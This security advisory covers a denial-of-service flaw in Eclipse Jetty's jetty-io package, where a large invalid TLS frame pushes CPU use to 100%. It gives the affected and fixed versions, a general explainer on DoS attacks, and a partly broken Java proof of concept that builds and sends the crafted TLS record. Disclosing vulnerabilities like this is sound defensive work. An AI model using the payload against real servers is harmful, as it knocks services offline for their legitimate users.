Denial of Service (DoS) Affecting org.eclipse.jetty:jetty-io package, versions [7.2.2.v20101205,9.4.39.v20210325) [10.0.0.alpha0,10.0.2) [11.0.0.alpha0,11.0.2)

  • Exploit Maturity

    Proof of concept

  • Attack Complexity


  • Availability


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  • snyk-id


  • published

    2 Apr 2021

  • disclosed

    2 Apr 2021

  • credit


How to fix?

Upgrade org.eclipse.jetty:jetty-io to version 9.4.39.v20210325, 10.0.2, 11.0.2 or higher.


Affected versions of this package are vulnerable to Denial of Service (DoS). CPU usage can reach 100% upon receiving a large invalid TLS frame.


// server 
public class MyServer {
    public static void startServer() throws Exception {
         SslContextFactory sslContextFactory = new SslContextFactory.Server();
         HttpConnectionFactory httpFactory = new HttpConnectionFactory();
         Server server = new Server();
         ServerConnector connector = new 
         ServerConnector(server,null,null,null,1,-1,AbstractConnectionFactory.getFactories(sslContextFactory ,httpFactory));
         server.setConnectors(new Connector[]{connector});
         ServletContextHandler context = new ServletContextHandler();
         HandlerCollection handlerCollection= new HandlerCollection();
         handlerCollection.setHandlers(new Handler[]{context,new DefaultHandler()});
     public static void main(String[] args) throws Exception {

public class MyClient {
    // client 
    private static byte[] buildMessage() {
       byte[] bytes = new byte[20005];
       bytes[0] = 22;  // record type
       bytes[1] = 3;   // major version
       bytes[2] = 3;   // minor version
       bytes[3] = 78; // record length 2 bytes
       bytes[4] = 32;  // record length
       bytes[5] = 1; // message type
       bytes[6] = 0; // message length 3 bytes
       bytes[7] = 78;
       bytes[8] = 23;
      for( int i = 9; i < bytes.length; i++) {
          bytes[i] = 1;
      return bytes;
    public static void sendMessage() throws Exception {
        byte[] bytes = buildMessage();
        SocketFactory socketFactory = SocketFactory.getDefault();
        Socket socket = socketFactory.createSocket("localhost",9988);

    public static void main(String[] args) throws Exception {


Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package